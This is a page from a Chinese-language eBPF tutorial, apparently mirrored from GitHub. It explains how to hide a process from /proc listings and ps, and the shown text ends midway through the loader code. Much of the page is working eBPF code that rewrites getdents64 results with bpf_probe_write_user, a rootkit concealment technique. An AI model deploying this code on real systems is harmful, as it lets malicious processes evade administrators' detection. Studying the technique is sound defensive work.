mirror of
https://github.com/eunomia-bpf/bpf-developer-tutorial.git
synced 2026-02-03 18:24:27 +08:00
561 lines
40 KiB
HTML
561 lines
40 KiB
HTML
<!DOCTYPE HTML>
|
||
<html lang="en" class="sidebar-visible no-js light">
|
||
<head>
|
||
<!-- Book generated using mdBook -->
|
||
<meta charset="UTF-8">
|
||
<title>使用 eBPF 隐藏进程或文件信息 - bpf-developer-tutorial</title>
|
||
|
||
|
||
<!-- Custom HTML head -->
|
||
|
||
<meta name="description" content="">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
<meta name="theme-color" content="#ffffff" />
|
||
|
||
<link rel="icon" href="../favicon.svg">
|
||
<link rel="shortcut icon" href="../favicon.png">
|
||
<link rel="stylesheet" href="../css/variables.css">
|
||
<link rel="stylesheet" href="../css/general.css">
|
||
<link rel="stylesheet" href="../css/chrome.css">
|
||
<link rel="stylesheet" href="../css/print.css" media="print">
|
||
|
||
<!-- Fonts -->
|
||
<link rel="stylesheet" href="../FontAwesome/css/font-awesome.css">
|
||
<link rel="stylesheet" href="../fonts/fonts.css">
|
||
|
||
<!-- Highlight.js Stylesheets -->
|
||
<link rel="stylesheet" href="../highlight.css">
|
||
<link rel="stylesheet" href="../tomorrow-night.css">
|
||
<link rel="stylesheet" href="../ayu-highlight.css">
|
||
|
||
<!-- Custom theme stylesheets -->
|
||
|
||
</head>
|
||
<body>
|
||
<div id="body-container">
|
||
<!-- Provide site root to javascript -->
|
||
<script>
|
||
var path_to_root = "../";
|
||
var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "navy" : "light";
|
||
</script>
|
||
|
||
<!-- Work around some values being stored in localStorage wrapped in quotes -->
|
||
<script>
|
||
try {
|
||
var theme = localStorage.getItem('mdbook-theme');
|
||
var sidebar = localStorage.getItem('mdbook-sidebar');
|
||
|
||
if (theme.startsWith('"') && theme.endsWith('"')) {
|
||
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
|
||
}
|
||
|
||
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
|
||
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
|
||
}
|
||
} catch (e) { }
|
||
</script>
|
||
|
||
<!-- Set the theme before any content is loaded, prevents flash -->
|
||
<script>
|
||
var theme;
|
||
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
|
||
if (theme === null || theme === undefined) { theme = default_theme; }
|
||
var html = document.querySelector('html');
|
||
html.classList.remove('no-js')
|
||
html.classList.remove('light')
|
||
html.classList.add(theme);
|
||
html.classList.add('js');
|
||
</script>
|
||
|
||
<!-- Hide / unhide sidebar before it is displayed -->
|
||
<script>
|
||
var html = document.querySelector('html');
|
||
var sidebar = null;
|
||
if (document.body.clientWidth >= 1080) {
|
||
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
|
||
sidebar = sidebar || 'visible';
|
||
} else {
|
||
sidebar = 'hidden';
|
||
}
|
||
html.classList.remove('sidebar-visible');
|
||
html.classList.add("sidebar-" + sidebar);
|
||
</script>
|
||
|
||
<nav id="sidebar" class="sidebar" aria-label="Table of contents">
|
||
<div class="sidebar-scrollbox">
|
||
<ol class="chapter"><li class="chapter-item expanded affix "><li class="part-title">eBPF 实践教程:基于 libbpf 和 CO-RE</li><li class="chapter-item expanded "><a href="../0-introduce/index.html"><strong aria-hidden="true">1.</strong> 介绍 eBPF 的基本概念、常见的开发工具</a></li><li class="chapter-item expanded "><a href="../1-helloworld/index.html"><strong aria-hidden="true">2.</strong> Hello World,基本框架和开发流程</a></li><li class="chapter-item expanded "><a href="../2-kprobe-unlink/index.html"><strong aria-hidden="true">3.</strong> 在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用</a></li><li class="chapter-item expanded "><a href="../3-fentry-unlink/index.html"><strong aria-hidden="true">4.</strong> 在 eBPF 中使用 fentry 监测捕获 unlink 系统调用</a></li><li class="chapter-item expanded "><a href="../4-opensnoop/index.html"><strong aria-hidden="true">5.</strong> 在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid</a></li><li class="chapter-item expanded "><a href="../5-uprobe-bashreadline/index.html"><strong aria-hidden="true">6.</strong> 在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用</a></li><li class="chapter-item expanded "><a href="../6-sigsnoop/index.html"><strong aria-hidden="true">7.</strong> 捕获进程发送信号的系统调用集合,使用 hash map 保存状态</a></li><li class="chapter-item expanded "><a href="../7-execsnoop/index.html"><strong aria-hidden="true">8.</strong> 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出</a></li><li class="chapter-item expanded "><a href="../8-exitsnoop/index.html"><strong aria-hidden="true">9.</strong> 在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出</a></li><li class="chapter-item expanded "><a href="../9-runqlat/index.html"><strong aria-hidden="true">10.</strong> 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度</a></li><li class="chapter-item expanded "><a href="../10-hardirqs/index.html"><strong aria-hidden="true">11.</strong> 在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件</a></li><li class="chapter-item expanded "><a href="../11-bootstrap/index.html"><strong aria-hidden="true">12.</strong> 在 eBPF 中使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用</a></li><li class="chapter-item expanded "><a href="../13-tcpconnlat/index.html"><strong aria-hidden="true">13.</strong> 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时</a></li><li class="chapter-item expanded "><a href="../13-tcpconnlat/tcpconnlat.html"><strong aria-hidden="true">14.</strong> 编写 eBPF 程序 tcpconnlat 测量 tcp 连接延时</a></li><li class="chapter-item expanded "><a href="../14-tcpstates/index.html"><strong aria-hidden="true">15.</strong> 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时</a></li><li class="chapter-item expanded "><a href="../15-javagc/index.html"><strong aria-hidden="true">16.</strong> 使用 USDT 捕获用户态 Java GC 事件耗时</a></li><li class="chapter-item expanded "><a href="../16-memleak/index.html"><strong aria-hidden="true">17.</strong> 编写 eBPF 程序 Memleak 监控内存泄漏</a></li><li class="chapter-item expanded "><a href="../17-biopattern/index.html"><strong aria-hidden="true">18.</strong> 编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O</a></li><li class="chapter-item expanded "><a href="../18-further-reading/index.html"><strong aria-hidden="true">19.</strong> 更多的参考资料</a></li><li class="chapter-item expanded "><a href="../19-lsm-connect/index.html"><strong aria-hidden="true">20.</strong> 使用 LSM 进行安全检测防御</a></li><li class="chapter-item expanded "><a href="../20-tc/index.html"><strong aria-hidden="true">21.</strong> 使用 eBPF 进行 tc 流量控制</a></li><li class="chapter-item expanded affix "><li class="part-title">eBPF 高级特性与进阶主题</li><li class="chapter-item expanded "><a href="../22-android/index.html"><strong aria-hidden="true">22.</strong> 在 Android 上使用 eBPF 程序</a></li><li class="chapter-item expanded "><a href="../23-http/index.html"><strong aria-hidden="true">23.</strong> 使用 eBPF 追踪 HTTP 请求或其他七层协议</a></li><li class="chapter-item expanded "><a href="../29-sockops/index.html"><strong aria-hidden="true">24.</strong> 使用 sockops 加速网络请求转发</a></li><li class="chapter-item expanded "><a href="../24-hide/index.html" class="active"><strong aria-hidden="true">25.</strong> 使用 eBPF 隐藏进程或文件信息</a></li><li class="chapter-item expanded "><a href="../25-signal/index.html"><strong aria-hidden="true">26.</strong> 使用 bpf_send_signal 发送信号终止进程</a></li><li class="chapter-item expanded "><a href="../26-sudo/index.html"><strong aria-hidden="true">27.</strong> 使用 eBPF 添加 sudo 用户</a></li><li class="chapter-item expanded "><a href="../27-replace/index.html"><strong aria-hidden="true">28.</strong> 使用 eBPF 替换任意程序读取或写入的文本</a></li><li class="chapter-item expanded "><a href="../28-detach/index.html"><strong aria-hidden="true">29.</strong> BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序</a></li><li class="chapter-item expanded affix "><li class="part-title">bcc tutorial</li><li class="chapter-item expanded "><a href="../bcc-documents/kernel-versions.html"><strong aria-hidden="true">30.</strong> BPF Features by Linux Kernel Version</a></li><li class="chapter-item expanded "><a href="../bcc-documents/kernel_config.html"><strong aria-hidden="true">31.</strong> Kernel Configuration for BPF Features</a></li><li class="chapter-item expanded "><a href="../bcc-documents/reference_guide.html"><strong aria-hidden="true">32.</strong> bcc Reference Guide</a></li><li class="chapter-item expanded "><a href="../bcc-documents/special_filtering.html"><strong aria-hidden="true">33.</strong> Special Filtering</a></li><li class="chapter-item expanded "><a href="../bcc-documents/tutorial.html"><strong aria-hidden="true">34.</strong> bcc Tutorial</a></li><li class="chapter-item expanded "><a href="../bcc-documents/tutorial_bcc_python_developer.html"><strong aria-hidden="true">35.</strong> bcc Python Developer Tutorial</a></li></ol>
|
||
</div>
|
||
<div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
|
||
</nav>
|
||
|
||
<div id="page-wrapper" class="page-wrapper">
|
||
|
||
<div class="page">
|
||
<div id="menu-bar-hover-placeholder"></div>
|
||
<div id="menu-bar" class="menu-bar sticky bordered">
|
||
<div class="left-buttons">
|
||
<button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
|
||
<i class="fa fa-bars"></i>
|
||
</button>
|
||
<button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
|
||
<i class="fa fa-paint-brush"></i>
|
||
</button>
|
||
<ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
|
||
<li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
|
||
<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
|
||
</ul>
|
||
<button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
|
||
<i class="fa fa-search"></i>
|
||
</button>
|
||
</div>
|
||
|
||
<h1 class="menu-title">bpf-developer-tutorial</h1>
|
||
|
||
<div class="right-buttons">
|
||
<a href="../print.html" title="Print this book" aria-label="Print this book">
|
||
<i id="print-button" class="fa fa-print"></i>
|
||
</a>
|
||
|
||
</div>
|
||
</div>
|
||
|
||
<div id="search-wrapper" class="hidden">
|
||
<form id="searchbar-outer" class="searchbar-outer">
|
||
<input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
|
||
</form>
|
||
<div id="searchresults-outer" class="searchresults-outer hidden">
|
||
<div id="searchresults-header" class="searchresults-header"></div>
|
||
<ul id="searchresults">
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
|
||
<script>
|
||
document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
|
||
document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
|
||
Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
|
||
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
|
||
});
|
||
</script>
|
||
|
||
<div id="content" class="content">
|
||
<main>
|
||
<h1 id="ebpf-开发实践使用-ebpf-隐藏进程或文件信息"><a class="header" href="#ebpf-开发实践使用-ebpf-隐藏进程或文件信息">eBPF 开发实践:使用 eBPF 隐藏进程或文件信息</a></h1>
|
||
<p>eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。</p>
|
||
<p>在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。</p>
|
||
<h2 id="背景知识与实现机制"><a class="header" href="#背景知识与实现机制">背景知识与实现机制</a></h2>
|
||
<p>"进程隐藏" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。<code>ps</code> 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 <code>ps</code> 命令等检测手段“隐身”。</p>
|
||
<p>要实现进程隐藏,关键在于操作 <code>/proc/</code> 目录。在 Linux 中,<code>getdents64</code> 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 <code>bpf_probe_write_user</code> 功能,它可以修改用户空间的内存,因此能用来修改 <code>getdents64</code> 返回的结果。</p>
|
||
<p>下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。</p>
|
||
<h3 id="内核态-ebpf-程序实现"><a class="header" href="#内核态-ebpf-程序实现">内核态 eBPF 程序实现</a></h3>
|
||
<p>接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分:</p>
|
||
<pre><code class="language-c">// SPDX-License-Identifier: BSD-3-Clause
|
||
#include "vmlinux.h"
|
||
#include <bpf/bpf_helpers.h>
|
||
#include <bpf/bpf_tracing.h>
|
||
#include <bpf/bpf_core_read.h>
|
||
#include "common.h"
|
||
|
||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||
|
||
// Ringbuffer Map to pass messages from kernel to user
|
||
struct {
|
||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||
__uint(max_entries, 256 * 1024);
|
||
} rb SEC(".maps");
|
||
|
||
// Map to fold the dents buffer addresses
|
||
struct {
|
||
__uint(type, BPF_MAP_TYPE_HASH);
|
||
__uint(max_entries, 8192);
|
||
__type(key, size_t);
|
||
__type(value, long unsigned int);
|
||
} map_buffs SEC(".maps");
|
||
|
||
// Map used to enable searching through the
|
||
// data in a loop
|
||
struct {
|
||
__uint(type, BPF_MAP_TYPE_HASH);
|
||
__uint(max_entries, 8192);
|
||
__type(key, size_t);
|
||
__type(value, int);
|
||
} map_bytes_read SEC(".maps");
|
||
|
||
// Map with address of actual
|
||
struct {
|
||
__uint(type, BPF_MAP_TYPE_HASH);
|
||
__uint(max_entries, 8192);
|
||
__type(key, size_t);
|
||
__type(value, long unsigned int);
|
||
} map_to_patch SEC(".maps");
|
||
|
||
// Map to hold program tail calls
|
||
struct {
|
||
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
|
||
__uint(max_entries, 5);
|
||
__type(key, __u32);
|
||
__type(value, __u32);
|
||
} map_prog_array SEC(".maps");
|
||
</code></pre>
|
||
<p>我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 "vmlinux.h"、"bpf_helpers.h"、"bpf_tracing.h" 和 "bpf_core_read.h"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。</p>
|
||
<ul>
|
||
<li>"vmlinux.h" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。</li>
|
||
<li>"bpf_helpers.h" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。</li>
|
||
<li>"bpf_tracing.h" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。</li>
|
||
<li>"bpf_core_read.h" 头文件提供了一组用于从内核读取数据的宏和函数。</li>
|
||
</ul>
|
||
<p>程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。</p>
|
||
<p>其中,"rb" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。</p>
|
||
<p>"map_buffs" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。</p>
|
||
<p>"map_bytes_read" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。</p>
|
||
<p>"map_to_patch" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。</p>
|
||
<p>"map_prog_array" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。</p>
|
||
<p>程序中的 "target_ppid" 和 "pid_to_hide_len"、"pid_to_hide" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。</p>
|
||
<p>接下来的代码部分,程序定义了一个名为 "linux_dirent64" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,"handle_getdents_enter" 和 "handle_getdents_exit",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。</p>
|
||
<pre><code class="language-c">
|
||
// Optional Target Parent PID
|
||
const volatile int target_ppid = 0;
|
||
|
||
// These store the string represenation
|
||
// of the PID to hide. This becomes the name
|
||
// of the folder in /proc/
|
||
const volatile int pid_to_hide_len = 0;
|
||
const volatile char pid_to_hide[max_pid_len];
|
||
|
||
// struct linux_dirent64 {
|
||
// u64 d_ino; /* 64-bit inode number */
|
||
// u64 d_off; /* 64-bit offset to next structure */
|
||
// unsigned short d_reclen; /* Size of this dirent */
|
||
// unsigned char d_type; /* File type */
|
||
// char d_name[]; /* Filename (null-terminated) */ };
|
||
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
|
||
SEC("tp/syscalls/sys_enter_getdents64")
|
||
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
|
||
{
|
||
size_t pid_tgid = bpf_get_current_pid_tgid();
|
||
// Check if we're a process thread of interest
|
||
// if target_ppid is 0 then we target all pids
|
||
if (target_ppid != 0) {
|
||
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
|
||
int ppid = BPF_CORE_READ(task, real_parent, tgid);
|
||
if (ppid != target_ppid) {
|
||
return 0;
|
||
}
|
||
}
|
||
int pid = pid_tgid >> 32;
|
||
unsigned int fd = ctx->args[0];
|
||
unsigned int buff_count = ctx->args[2];
|
||
|
||
// Store params in map for exit function
|
||
struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1];
|
||
bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY);
|
||
|
||
return 0;
|
||
}
|
||
</code></pre>
|
||
<p>在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 <code>getdents64</code> 系统调用的入口处进行处理。</p>
|
||
<p>我们首先声明了几个全局的变量。其中 <code>target_ppid</code> 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。<code>pid_to_hide_len</code> 和 <code>pid_to_hide</code> 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 <code>/proc/</code> 目录下的一个文件夹的名称,因此被隐藏的进程在 <code>/proc/</code> 目录下将无法被看到。</p>
|
||
<p>接下来,我们声明了一个名为 <code>linux_dirent64</code> 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。</p>
|
||
<p>然后是 <code>getdents64</code> 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。</p>
|
||
<p>随后的部分是 eBPF 程序的具体实现。我们在 <code>getdents64</code> 系统调用的入口处定义了一个名为 <code>handle_getdents_enter</code> 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 <code>target_ppid</code>,那么我们就只关注那些父进程的 PID 为 <code>target_ppid</code> 的进程。如果 <code>target_ppid</code> 为 0,我们就关注所有进程。</p>
|
||
<p>在确认了当前进程是我们关注的进程之后,我们将 <code>getdents64</code> 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 <code>getdents64</code> 系统调用的第二个参数,它是一个指向 <code>linux_dirent64</code> 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 <code>map_buffs</code> 这个 map 中。</p>
|
||
<p>至此,我们完成了 <code>getdents64</code> 系统调用入口处的处理。在系统调用返回时,我们将会在 <code>handle_getdents_exit</code> 函数中,对目录项进行修改,以实现进程隐藏。</p>
|
||
<p>在接下来的代码段中,我们将要实现在 <code>getdents64</code> 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。</p>
|
||
<p>我们首先定义了一个名为 <code>handle_getdents_exit</code> 的函数,它将在 <code>getdents64</code> 系统调用返回时被调用。</p>
|
||
<pre><code class="language-c">
|
||
SEC("tp/syscalls/sys_exit_getdents64")
|
||
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
|
||
{
|
||
size_t pid_tgid = bpf_get_current_pid_tgid();
|
||
int total_bytes_read = ctx->ret;
|
||
// if bytes_read is 0, everything's been read
|
||
if (total_bytes_read <= 0) {
|
||
return 0;
|
||
}
|
||
|
||
// Check we stored the address of the buffer from the syscall entry
|
||
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid);
|
||
if (pbuff_addr == 0) {
|
||
return 0;
|
||
}
|
||
|
||
// All of this is quite complex, but basically boils down to
|
||
// Calling 'handle_getdents_exit' in a loop to iterate over the file listing
|
||
// in chunks of 200, and seeing if a folder with the name of our pid is in there.
|
||
// If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual
|
||
// patching
|
||
long unsigned int buff_addr = *pbuff_addr;
|
||
struct linux_dirent64 *dirp = 0;
|
||
int pid = pid_tgid >> 32;
|
||
short unsigned int d_reclen = 0;
|
||
char filename[max_pid_len];
|
||
|
||
unsigned int bpos = 0;
|
||
unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid);
|
||
if (pBPOS != 0) {
|
||
bpos = *pBPOS;
|
||
}
|
||
|
||
for (int i = 0; i < 200; i ++) {
|
||
if (bpos >= total_bytes_read) {
|
||
break;
|
||
}
|
||
dirp = (struct linux_dirent64 *)(buff_addr+bpos);
|
||
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
|
||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
|
||
|
||
int j = 0;
|
||
for (j = 0; j < pid_to_hide_len; j++) {
|
||
if (filename[j] != pid_to_hide[j]) {
|
||
break;
|
||
}
|
||
}
|
||
if (j == pid_to_hide_len) {
|
||
// ***********
|
||
// We've found the folder!!!
|
||
// Jump to handle_getdents_patch so we can remove it!
|
||
// ***********
|
||
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
|
||
bpf_map_delete_elem(&map_buffs, &pid_tgid);
|
||
bpf_tail_call(ctx, &map_prog_array, PROG_02);
|
||
}
|
||
bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
|
||
bpos += d_reclen;
|
||
}
|
||
|
||
// If we didn't find it, but there's still more to read,
|
||
// jump back the start of this function and keep looking
|
||
if (bpos < total_bytes_read) {
|
||
bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY);
|
||
bpf_tail_call(ctx, &map_prog_array, PROG_01);
|
||
}
|
||
bpf_map_delete_elem(&map_bytes_read, &pid_tgid);
|
||
bpf_map_delete_elem(&map_buffs, &pid_tgid);
|
||
|
||
return 0;
|
||
}
|
||
|
||
</code></pre>
|
||
<p>在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。</p>
|
||
<p>然后我们从 <code>map_buffs</code> 这个 map 中获取 <code>getdents64</code> 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。</p>
|
||
<p>接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 <code>bpf_tail_call</code> 函数跳转到 <code>handle_getdents_patch</code> 函数,进行实际的隐藏操作。</p>
|
||
<pre><code class="language-c">SEC("tp/syscalls/sys_exit_getdents64")
|
||
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
|
||
{
|
||
// Only patch if we've already checked and found our pid's folder to hide
|
||
size_t pid_tgid = bpf_get_current_pid_tgid();
|
||
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
|
||
if (pbuff_addr == 0) {
|
||
return 0;
|
||
}
|
||
|
||
// Unlink target, by reading in previous linux_dirent64 struct,
|
||
// and setting it's d_reclen to cover itself and our target.
|
||
// This will make the program skip over our folder.
|
||
long unsigned int buff_addr = *pbuff_addr;
|
||
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
|
||
short unsigned int d_reclen_previous = 0;
|
||
bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
|
||
|
||
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
|
||
short unsigned int d_reclen = 0;
|
||
bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
|
||
|
||
// Debug print
|
||
char filename[max_pid_len];
|
||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name);
|
||
filename[pid_to_hide_len-1] = 0x00;
|
||
bpf_printk("[PID_HIDE] filename previous %s\n", filename);
|
||
bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name);
|
||
filename[pid_to_hide_len-1] = 0x00;
|
||
bpf_printk("[PID_HIDE] filename next one %s\n", filename);
|
||
|
||
// Attempt to overwrite
|
||
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
|
||
long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
|
||
|
||
// Send an event
|
||
struct event *e;
|
||
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
|
||
if (e) {
|
||
e->success = (ret == 0);
|
||
e->pid = (pid_tgid >> 32);
|
||
bpf_get_current_comm(&e->comm, sizeof(e->comm));
|
||
bpf_ringbuf_submit(e, 0);
|
||
}
|
||
|
||
bpf_map_delete_elem(&map_to_patch, &pid_tgid);
|
||
return 0;
|
||
}
|
||
|
||
</code></pre>
|
||
<p>在 <code>handle_getdents_patch</code> 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 <code>d_reclen</code> 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。</p>
|
||
<p>在这个过程中,我们用到了 <code>bpf_probe_read_user</code>、<code>bpf_probe_read_user_str</code>、<code>bpf_probe_write_user</code> 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。</p>
|
||
<p>在我们完成隐藏操作后,我们会向一个名为 <code>rb</code> 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 <code>bpf_ringbuf_reserve</code> 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 <code>bpf_ringbuf_submit</code> 函数将事件提交到缓冲区。</p>
|
||
<p>最后,我们清理了之前保存在 map 中的数据,并返回。</p>
|
||
<p>这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。</p>
|
||
<h2 id="用户态-ebpf-程序实现"><a class="header" href="#用户态-ebpf-程序实现">用户态 eBPF 程序实现</a></h2>
|
||
<p>我们在用户态的 eBPF 程序中主要进行了以下几个操作:</p>
|
||
<ol>
|
||
<li>打开 eBPF 程序。</li>
|
||
<li>设置我们想要隐藏的进程的 PID。</li>
|
||
<li>验证并加载 eBPF 程序。</li>
|
||
<li>等待并处理由 eBPF 程序发送的事件。</li>
|
||
</ol>
|
||
<p>首先,我们打开了 eBPF 程序。这个过程是通过调用 <code>pidhide_bpf__open</code> 函数实现的。如果这个过程失败了,我们就直接返回。</p>
|
||
<pre><code class="language-c"> skel = pidhide_bpf__open();
|
||
if (!skel)
|
||
{
|
||
fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
|
||
return 1;
|
||
}
|
||
</code></pre>
|
||
<p>接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 <code>rodata</code> 区域实现的。默认情况下,我们隐藏的是当前进程。</p>
|
||
<pre><code class="language-c"> char pid_to_hide[10];
|
||
if (env.pid_to_hide == 0)
|
||
{
|
||
env.pid_to_hide = getpid();
|
||
}
|
||
sprintf(pid_to_hide, "%d", env.pid_to_hide);
|
||
strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide));
|
||
skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1;
|
||
skel->rodata->target_ppid = env.target_ppid;
|
||
</code></pre>
|
||
<p>然后,我们验证并加载 eBPF 程序。这个过程是通过调用 <code>pidhide_bpf__load</code> 函数实现的。如果这个过程失败了,我们就进行清理操作。</p>
|
||
<pre><code class="language-c"> err = pidhide_bpf__load(skel);
|
||
